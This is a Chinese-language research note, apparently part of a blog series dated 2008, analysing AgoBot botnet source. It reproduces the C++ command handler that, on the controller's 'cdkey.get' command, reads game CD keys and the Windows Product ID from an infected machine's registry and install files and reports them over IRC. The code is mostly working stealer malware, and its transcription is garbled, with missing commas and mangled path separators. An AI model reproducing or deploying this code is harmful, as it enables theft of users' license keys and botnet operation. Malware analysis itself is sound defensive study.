AgoBot 殭屍網絡研究筆記(十五)

十五、2008年04月09日

 

作者:青青子衿

email:[email protected]

1、CCDKeyGrab的作用是處理cdkey.get消息,

功能是獲取被控端,下述遊戲的cdkey的值

遊戲列表:

(1)、Half-Life

(2)、Counter-Strike

(3)、Legends of Might and Magic

(4)、Unreal Tournament 2003

(5)、The Gladiators

(6)、Need For Speed Hot Pursuit 2

(7)、FIFA 2002

(8)、FIFA 2003

(9)、NHL 2002

(10)、NHL 2003

(11)、Nascar Racing 2002

(12)、Nascar Racing 2003

(13)、Battlefield 1942

(14)、Battlefield 1942 The Road to Rome

(15)、Battlefield 1942 Secret Weapons of WWII

(16)、Command & Conquer Generals

(17)、Project IGI 2

(18)、Red Alert

(19)、Red Alert 2

(20)、Tiberian Sun

(21)、NOX

(22)、Neverwinter Nights

(23)、Soldier of Fortune II

(24)、Chrome

(25)、Hidden and Dangerous 2

(26)、Windows Product ID

//////////////////////////////////////////

//

//這個類的作用應該是和獲取遊戲信息相關的。

//

//////////////////////////////////////////////

class CCDKeyGrab : public CCommandHandler

{

public:

void Init();

bool HandleCommand(CMessage *pMsg);

command m_cmdGet;

};

2Init()  函數

////////////////////////////////////////////////////////////////

//

//函數功能:cdkey.get 指令的初始化,將該指令註冊到指令列表中

//參數:

//返回值: void

//

/////////////////////////////////////////////////////////////////

void CCDKeyGrab::Init()

{

g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdGet"cdkey.get""makes the bot get a list of cdkeys"this); 

}

3bool CCDKeyGrab::HandleCommand(CMessage *pMsg)  函數

////////////////////////////////////////////////////////////////////

//

//函數功能:處理cdkey.get指令,獲取特定遊戲的cdkey

//參數: CMessage *pMsg 接收到的消息

//返回值: bool  所有情況都返回true

//

////////////////////////////////////////////////////////////////////////

bool CCDKeyGrab::HandleCommand(CMessage *pMsg)

{

if(!pMsg->sCmd.Compare("cdkey.get"))  //處理cdkey.get指令

{

#ifdef WIN32

//分別從電腦的註冊表中,讀取不同遊戲的cdkey

/*

Half-Life CDKey

*/

//獲取半條命遊戲的cdkey

HKEY hkey=NULL

DWORD dwSize=128; 

unsigned char szDataBuf[128];

LONG lRet=RegOpenKeyEx(HKEY_CURRENT_USER"Software//Valve//Half-Life//Settings", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"Key"NULLNULLszDataBuf, &dwSize)==ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(),"Found Half-Life CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Counter-Strike CDKey

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_CURRENT_USER"Software//Valve//Counter-Strike//Settings", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"Key"NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), "Found Counter-Strike CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Legends of Might and Magic

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_CURRENT_USER"Software//3d0//Status", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"CustomerNumber"NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), "Found LoMaM CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

UT2003 CDKey

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Unreal Technology//Installed Apps//UT2003", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"CDKey"NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{ while(true)

{

if(strstr((const char *)&szDataBuf[0], "XX22V-79HEN-BBQ46-4H7A9")) 

{

break;

}

if(strstr((const char *)&szDataBuf[0], "MAMBC-G82JY-A9ZAP-89U4G"))

{

break;

}

if(strstr((const char *)&szDataBuf[0], "LYR22-RZ743-A9D7T-CNNEN"))

{

break;

}

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), "Found UT2003 CDKey (%s)."szDataBuf);

break

//end while 似乎這裏只循環了一次

}

RegCloseKey(hkey);

/*

The Gladiators

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_CURRENT_USER"Software//Eugen Systems//The Gladiators",0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"RegNumber"NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found The Gladiators CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Need For Speed Hot Pursuit 2

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Electronic Arts//EA GAMES//Need For Speed Hot Pursuit 2//ergc", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey""NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found NFSHP2 CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

FIFA 2002

*/

dwSize = 128;

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Electronic Arts//EA Sports//FIFA 2002//ergc", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey""NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found FIFA 2002 CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

FIFA 2003

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Electronic Arts//EA Sports//FIFA 2003//ergc", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey""NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found FIFA 2003 CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

NHL 2002

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Electronic Arts//EA Sports//NHL 2002//ergc", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey""NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found NHL 2002 CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

NHL 2003

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Electronic Arts//EA Sports//NHL 2003//ergc", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey""NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found NHL 2003 CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Nascar Racing 2002

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Electronic Arts//EA Sports//Nascar Racing 2002//ergc", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey""NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found Nascar 2002 CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Nascar Racing 2003

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Electronic Arts//EA Sports//Nascar Racing 2003//ergc", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey""NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found Nascar 2003 CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Battlefield 1942

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Electronic Arts//EA GAMES//Battlefield 1942//ergc", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey""NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found BF1942 CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Battlefield 1942 The Road to Rome

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Electronic Arts//EA GAMES//Battlefield 1942 The Road to Rome//ergc", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey""NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found BF1942 RtR CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Battlefield 1942 Secret Weapons of WWII

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Electronic Arts//EA GAMES//Battlefield 1942 Secret Weapons of WWII//ergc", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey""NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found BF1942 SWoWWII CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Command & Conquer Generals

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Electronic Arts//EA GAMES//Generals//ergc", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey""NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found Command & Conquer Generals CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Project IGI 2

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//IGI 2 Retail//CDKey", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"CDKey"NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found Project IGI 2 CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Red Alert

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Westwood//Red Alert", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"Serial"NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found Red Alert CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Red Alert 2

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Westwood//Red Alert 2", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"Serial"NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found Red Alert 2 CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Tiberian Sun

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Westwood//Tiberian Sun", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"Serial"NULLNULLszDataBuf, &dwSize)==ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found Tiberian Sun CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

NOX

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Westwood//Nox", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"Serial"NULLNULLszDataBuf, &dwSize)==ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found NOX CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Neverwinter Nights CDKey

*/

char line[100]; dwSize=1024; unsigned char szDataBuf2[1024];

lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//BioWare//NWN//Neverwinter", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"Location"NULLNULLszDataBuf2, &dwSize)== ERROR_SUCCESS)//註冊表中保存的nwncdkey.ini文件所在的路徑

{

FILE *fp

char *szPath=(char*)malloc(1060);

sprintf(szPath"%s//%s"szDataBuf2"nwncdkey.ini");  //獲得保存cdkey的文件全路徑

if((fp=fopen(szPath,"r"))!=NULL//打開nwncdkey.ini文件

{

while(fgets(line,100,fp))  //讀取第一個字符串

{

if(strstr(line"Key1=")) //查找key1= 子字符串

{

strtok(line"=");  

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found NWN CDKey (%s)."strtok(NULL"=")); //提取cdkey

}

fclose(fp);  //關閉文件指針

}

if(szPath

{

free(szPath); //釋放掉申請的空間

}

}

RegCloseKey(hkey);

/*

Soldier of Fortune II

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Activision//Soldier of Fortune II - Double Helix", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"InstallPath"NULLNULLszDataBuf2, &dwSize)== ERROR_SUCCESS//從註冊表中獲得sof2key文件的路徑

{

char *szPath = (char*)malloc(MAX_PATH); 

FILE *fp;

sprintf(szPath"%s//base//mp//%s"szDataBuf2"sof2key"); //組裝sof2key文件的全路徑,

if((fp=fopen(szPath,"r"))!=NULL//打開該文件

{

if(fgets(line, 100, fp)) //讀取文件內容

{

if(!strstr(line"mtkwftmkemfew3p3b7"))//如果沒有找到該子字符串,則裏邊包含cdkey

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found SOF2 CDKey (%s)."line); 

}

}

fclose(fp);

}

if(szPath

{

free(szPath); //釋放剛纔申請的空間

}

}

RegCloseKey(hkey);

/*

Chrome

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Techland//Chrome", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"SerialNumber"NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found Chrome CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Hidden and Dangerous 2

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Illusion Softworks//Hidden & Dangerous 2", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"key"NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found Hidden and Dangerous 2 CDKey (%s)."szDataBuf);

}

RegCloseKey(hkey);

/*

Windows Product ID

*/

dwSize = 128; 

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE"Software//Microsoft//Windows//CurrentVersion", 0, KEY_READ, &hkey);

if(RegQueryValueEx(hkey"ProductId"NULLNULLszDataBuf, &dwSize)== ERROR_SUCCESS)

{

g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilentpMsg->bNoticepMsg->sReplyTo.Str(), /

"Found Windows Product ID (%s)."szDataBuf);

}

RegCloseKey(hkey);

#endif // WIN32

}

return true

}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章